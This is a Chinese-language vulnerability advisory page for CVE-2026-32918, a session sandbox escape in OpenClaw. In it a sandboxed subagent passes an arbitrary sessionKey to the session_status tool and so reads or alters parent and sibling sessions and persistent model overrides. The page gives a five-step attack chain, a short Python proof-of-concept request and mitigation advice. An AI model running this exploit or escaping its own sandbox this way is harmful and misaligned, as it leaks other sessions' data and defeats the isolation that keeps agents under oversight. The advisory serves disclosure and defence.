IPBUF安全漏洞报告
English
CVE-2026-32918 CVSS 8.4 高危

CVE-2026-32918 OpenClaw会话沙箱逃逸漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-32918
漏洞类型
沙箱逃逸
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

沙箱逃逸权限提升OpenClawCVE-2026-32918会话劫持

漏洞概述

OpenClaw在2026.3.11之前的版本中存在会话沙箱逃逸漏洞。由于session_status工具未对sessionKey进行严格验证,沙箱化的子代理可通过提供任意sessionKey值,访问或修改其沙箱作用域之外的父级或兄弟级会话数据。攻击者可利用此漏洞读取敏感信息或篡改持久化模型覆盖,导致安全边界失效。

技术细节

该漏洞源于OpenClaw的session_status工具在处理会话请求时,未能对传入的sessionKey参数实施有效的所有权校验。在默认的沙箱架构下,子代理应仅被授权访问与其上下文绑定的特定会话数据。然而,由于代码逻辑缺陷,攻击者控制的子代理可以通过API接口或内部调用机制,传递任意构造的sessionKey。当系统解析该Key时,未验证请求者是否拥有目标Key的访问权限,直接返回了对应的会话状态对象。利用此缺陷,攻击者不仅能泄露父级或同级会话中的敏感数据,还能利用持久化模型覆盖机制修改系统行为,从而实现从受限沙箱环境逃逸到更广泛的系统上下文中。这本质上是一次打破了信任边界的越权访问。

攻击链分析

STEP 1
步骤1: 获取初始访问权限
攻击者以低权限身份获得OpenClaw沙箱化子代理的访问权限。
STEP 2
步骤2: 识别漏洞接口
攻击者发现session_status工具接受sessionKey参数,且缺乏所有权验证。
STEP 3
步骤3: 构造恶意请求
攻击者构造包含任意sessionKey(如父进程或兄弟进程ID)的恶意请求。
STEP 4
步骤4: 执行沙箱逃逸
系统处理请求,由于未验证权限,返回了目标会话的数据或允许修改。
STEP 5
步骤5: 达成攻击目的
攻击者成功读取敏感数据或修改持久化模型配置,突破沙箱限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target endpoint for the vulnerable session_status tool target_url = "http://localhost:8080/internal/api/session_status" # The attacker acts as a sandboxed subagent and supplies an arbitrary sessionKey # This key targets the parent or sibling session state (e.g., 'parent_admin_session') malicious_payload = { "sessionKey": "parent_admin_session", "action": "read" } try: # Send the request to exploit the lack of boundary checking response = requests.post(target_url, json=malicious_payload) if response.status_code == 200: print("[+] Sandbox Escape Successful!") print(f"[+] Leaked Session Data: {response.json()}") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error during exploitation: {e}")

影响范围

OpenClaw < 2026.3.11

防御指南

临时缓解措施
建议在未升级前,通过网络策略严格限制子代理对内部API的访问,或禁用受影响的session_status工具功能,同时加强对跨会话访问行为的日志监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表